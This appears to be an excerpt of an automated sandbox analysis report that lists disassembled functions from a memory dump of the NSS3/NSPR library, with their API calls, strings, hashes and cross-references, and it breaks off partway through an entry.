Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 37cbfbb43afce62457763c5ffcddc21d63eb3744fa83d81847381ca2b14e8d60
Instruction ID: 199ec7d384fdabfe46323c24472c7709707cc3c688a3db2ce5246567271c1da4
Opcode Fuzzy Hash: 37cbfbb43afce62457763c5ffcddc21d63eb3744fa83d81847381ca2b14e8d60
Instruction Fuzzy Hash: 8031D575701194ABDB00DF58ED8CB9E3BB5EB42318F084124E819B7711DB309D89CBA7

Function 6CAC6EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CAC6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC6F53

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CAC6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CAC6FA1

Strings

C_DigestUpdate, xrefs: 6CAC6F11
(CK_INVALID_HANDLE), xrefs: 6CAC6F4C
ulPartLen = %d, xrefs: 6CAC6F9C
pPart = 0x%p, xrefs: 6CAC6F83
hSession = 0x%x, xrefs: 6CAC6F2E, 6CAC6F3E

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: df82139d73723b19c165c95cec2b1ff0f524afe92ae346a36089658614d17d73
Instruction ID: 678f29969aa656b84f2a387c42a5fc9ecdeeb926309c413d592ed200aa7277a3
Opcode Fuzzy Hash: df82139d73723b19c165c95cec2b1ff0f524afe92ae346a36089658614d17d73
Instruction Fuzzy Hash: FC31D339701194AFDB00DB68ED88BAA77B5EB42319F084024E819A7712DB30DD8DCBD7

Function 6CAC7E00 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6CAC7E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC7E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC7E63

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC7E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CAC7E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CAC7EB1

Strings

C_VerifyUpdate, xrefs: 6CAC7E21
(CK_INVALID_HANDLE), xrefs: 6CAC7E5C
ulPartLen = %d, xrefs: 6CAC7EAC
pPart = 0x%p, xrefs: 6CAC7E93
hSession = 0x%x, xrefs: 6CAC7E3E, 6CAC7E4E

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate
API String ID: 1003633598-2508624608
Opcode ID: f46d68c5e2349cd21235bea7ca63022e38dcdccca0489cacbaad6cf19937bb5a
Instruction ID: 53dfb5074424d0aba7ab8ab4fc67c6a2d4e8e6de80fe657849c828e3c390d60b
Opcode Fuzzy Hash: f46d68c5e2349cd21235bea7ca63022e38dcdccca0489cacbaad6cf19937bb5a
Instruction Fuzzy Hash: 6031C975B01194ABDB009B68FD88F9E7BB5EF42319F484024E819A7711DB309D89CBA7

Function 6CAC7F30 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6CAC7F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC7F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC7F93

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC7FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CAC7FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CAC7FE1

Strings

C_VerifyFinal, xrefs: 6CAC7F51
ulSignatureLen = %d, xrefs: 6CAC7FDC
(CK_INVALID_HANDLE), xrefs: 6CAC7F8C
pSignature = 0x%p, xrefs: 6CAC7FC3
hSession = 0x%x, xrefs: 6CAC7F6E, 6CAC7F7E

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal
API String ID: 1003633598-3315179127
Opcode ID: 80b3a770b864b90c4e21bd58e21ddb0ea1479982eef0131fa681091ab2ffcc06
Instruction ID: a31a12368e041cbf4727621a24a6f480912eeac51c0eaf71b94bc6625274f7cd
Opcode Fuzzy Hash: 80b3a770b864b90c4e21bd58e21ddb0ea1479982eef0131fa681091ab2ffcc06
Instruction Fuzzy Hash: EB31E435701194ABDB00DB68ED88F9A7BB5EF42329F484025E819A7711DB309D88CBE7

Function 6CB62D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CB62D9F

Part of subcall function 6CA1CA30: EnterCriticalSection.KERNEL32(?,?,?,6CA7F9C9,?,6CA7F4DA,6CA7F9C9,?,?,6CA4369A), ref: 6CA1CA7A
Part of subcall function 6CA1CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CA1CB26

sqlite3_exec.NSS3(?,?,6CB62F70,?,?), ref: 6CB62DF9
sqlite3_free.NSS3(00000000), ref: 6CB62E2C
sqlite3_free.NSS3(?), ref: 6CB62E3A
sqlite3_free.NSS3(?), ref: 6CB62E52
sqlite3_mprintf.NSS3(6CBCAAF9,?), ref: 6CB62E62
sqlite3_free.NSS3(?), ref: 6CB62E70
sqlite3_free.NSS3(?), ref: 6CB62E89
sqlite3_free.NSS3(?), ref: 6CB62EBB
sqlite3_free.NSS3(?), ref: 6CB62ECB
sqlite3_free.NSS3(00000000), ref: 6CB62F3E
sqlite3_free.NSS3(?), ref: 6CB62F4C

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: c9dee177de6efde2f5eca198b0e74d3784b877f4c2b9c33a86e0dd6d095a7475
Instruction ID: 367ffb3cccafa019352c41a471eb174a0ad13f536148a882d073befb3db1f8e7
Opcode Fuzzy Hash: c9dee177de6efde2f5eca198b0e74d3784b877f4c2b9c33a86e0dd6d095a7475
Instruction Fuzzy Hash: 4D6190B5E052558BFB00CFA9D984BDEB7B1EF48348F144024EC15A7B41E735E848CBA2

Function 6CAB2C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CAB3F23,?,6CAAE477,?,?,?,00000001,00000000,?,?,6CAB3F23,?), ref: 6CAB2C62
EnterCriticalSection.KERNEL32(0000001C,?,6CAAE477,?,?,?,00000001,00000000,?,?,6CAB3F23,?), ref: 6CAB2C76
PL_HashTableLookup.NSS3(00000000,?,?,6CAAE477,?,?,?,00000001,00000000,?,?,6CAB3F23,?), ref: 6CAB2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CAAE477,?,?,?,00000001,00000000,?,?,6CAB3F23,?), ref: 6CAB2C93

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CAAE477,?,?,?,00000001,00000000,?,?,6CAB3F23,?), ref: 6CAB2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CAAE477,?,?,?,00000001,00000000,?,?,6CAB3F23,?), ref: 6CAB2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CAAE477,?,?,?,00000001,00000000,?,?,6CAB3F23), ref: 6CAB2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CAAE477,?,?,?,00000001,00000000,?), ref: 6CAB2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CAAE477,?,?,?,00000001,00000000,?), ref: 6CAB2D4D
EnterCriticalSection.KERNEL32(?), ref: 6CAB2D61
PL_HashTableLookup.NSS3(?,?), ref: 6CAB2D71
PR_Unlock.NSS3(?), ref: 6CAB2D7E

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: 387319f0e4e10073d3df49fb41dc4a6c0a7c187711b55ca835f72c1aea7e7b96
Instruction ID: d525901db5af90cb5368c69a710892b32b8be7ca8603a147bb3ccd652c351100
Opcode Fuzzy Hash: 387319f0e4e10073d3df49fb41dc4a6c0a7c187711b55ca835f72c1aea7e7b96
Instruction Fuzzy Hash: 2851F8B5D00204ABDB009F74EC459AA7778FF09358B088625EC18A7B11E731EDA8C7E1

Function 6CAA7C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CBF2120,Function_00097E60,00000000,?,?,?,?,6CB2067D,6CB21C60,00000000), ref: 6CAA7C81

Part of subcall function 6CA14C70: TlsGetValue.KERNEL32(?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14C97
Part of subcall function 6CA14C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CB0
Part of subcall function 6CA14C70: PR_Unlock.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CC9

TlsGetValue.KERNEL32 ref: 6CAA7CA0
EnterCriticalSection.KERNEL32(?), ref: 6CAA7CB4
PR_Unlock.NSS3 ref: 6CAA7CCF

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

TlsGetValue.KERNEL32 ref: 6CAA7D04
EnterCriticalSection.KERNEL32(?), ref: 6CAA7D1B
realloc.MOZGLUE(-00000050), ref: 6CAA7D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAA7DF4
PR_Unlock.NSS3 ref: 6CAA7E0E

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 634ede78d135495736bb517f305d82882a83cb17fa4b69a3cf32a9f3273486e8
Instruction ID: ef884b7df8f8bedeb7128666816a3e44b6196519b736b3495059ddea9e937d3f
Opcode Fuzzy Hash: 634ede78d135495736bb517f305d82882a83cb17fa4b69a3cf32a9f3273486e8
Instruction Fuzzy Hash: 45512775A41240AFDF115FA8EC44B6A7BB5FB02318F194129DD14C7715EB30D9E6CB82

Function 6CA14C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CB0
PR_Unlock.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14D97
PR_Lock.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14DBA
PR_WaitCondVar.NSS3 ref: 6CA14DD4
PR_Unlock.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14DEF

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 15d3143648a93f8a6ea9a39fe0f4470a7181c4c78855533f193a704dcbcdf311
Instruction ID: ae99fcfd8e42f3d82a06b45a49fbf49430a2ae8492d9c0f12af73b841b044839
Opcode Fuzzy Hash: 15d3143648a93f8a6ea9a39fe0f4470a7181c4c78855533f193a704dcbcdf311
Instruction Fuzzy Hash: 73416DB5A19A558FCB00AFBDE08455DBBB4BF05318F094A69D8989BB00E730D8D5CB81

Function 6CBA7CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CBA7CE0

Part of subcall function 6CB59BF0: TlsGetValue.KERNEL32(?,?,?,6CBA0A75), ref: 6CB59C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBA7D36
PR_Realloc.NSS3(?,00000080), ref: 6CBA7D6D
PR_GetCurrentThread.NSS3 ref: 6CBA7D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6CBA7DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBA7DD8
malloc.MOZGLUE(00000080), ref: 6CBA7DF8
PR_GetCurrentThread.NSS3 ref: 6CBA7E06

Strings

:%s:%d:0x%lx, xrefs: 6CBA7DB9
NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6CBA7DF0

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 58064fbde11609f1ac7527b821cf964f292fdc03ee30bde0cb1bc0c8cb274b42
Instruction ID: 7d7bd22d694d90e7c0b3f5316b53039ddc0253a4e7c313933e2330b4ff5d3c28
Opcode Fuzzy Hash: 58064fbde11609f1ac7527b821cf964f292fdc03ee30bde0cb1bc0c8cb274b42
Instruction Fuzzy Hash: 054116F1A082919FDB04CFA8CC8096F37A6FF80318B25452CE8999BB55D771E816C791

Function 6CBA7E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBA7E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6CBA7E46

Part of subcall function 6CA81240: TlsGetValue.KERNEL32(00000040,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA81267
Part of subcall function 6CA81240: EnterCriticalSection.KERNEL32(?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA8127C
Part of subcall function 6CA81240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA81291
Part of subcall function 6CA81240: PR_Unlock.NSS3(?,?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA812A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6CBA7EAF
PR_ImportFile.NSS3(?), ref: 6CBA7ECF
PR_GetCurrentThread.NSS3 ref: 6CBA7ED6
PR_ImportTCPSocket.NSS3(?), ref: 6CBA7F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6CBA7F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6CBA7F15

Strings

%d:0x%lx, xrefs: 6CBA7EA9
NSPR_INHERIT_FDS, xrefs: 6CBA7E41

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: f6cd625fc45231b7045c56d25b19ea18165c9a3844290dec84f3c59f277d1872
Instruction ID: b3bcbb30c048af2585339caa7a93378b649c8c886514cc73190517114f1e560a
Opcode Fuzzy Hash: f6cd625fc45231b7045c56d25b19ea18165c9a3844290dec84f3c59f277d1872
Instruction Fuzzy Hash: 48314570E0C1D59BEB009BE9C840AAFB7ACFF09358F100566D485B7A16E7B19D0AC7D2

Function 6CADECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CADDE64), ref: 6CADED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CADED22

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

PL_FreeArenaPool.NSS3(?), ref: 6CADED4A
PL_FinishArenaPool.NSS3(?), ref: 6CADED6B
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CADED38

Part of subcall function 6CA14C70: TlsGetValue.KERNEL32(?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14C97
Part of subcall function 6CA14C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CB0
Part of subcall function 6CA14C70: PR_Unlock.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CADED52
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CADED83
PL_FreeArenaPool.NSS3(?), ref: 6CADED95
PL_FinishArenaPool.NSS3(?), ref: 6CADED9D

Part of subcall function 6CAF64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CAF127C,00000000,00000000,00000000), ref: 6CAF650E

Strings

security, xrefs: 6CADED06

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: c0dab54fd4b6585f1a972a8093b708410038615e2722ff15db095d8d69e2b788
Instruction ID: acbf13c159c534494e6b54acc00a113cc1fba67a78107293003d9e6488cb052e
Opcode Fuzzy Hash: c0dab54fd4b6585f1a972a8093b708410038615e2722ff15db095d8d69e2b788
Instruction Fuzzy Hash: C9112779A002046BE7106A25AD44BBBB278AF0171DF060924F8A563F41FB35B69D86E7

Function 6CAC2CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CAC2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CAC2D07

Part of subcall function 6CBA09D0: PR_Now.NSS3 ref: 6CBA0A22
Part of subcall function 6CBA09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CBA0A35
Part of subcall function 6CBA09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CBA0A66
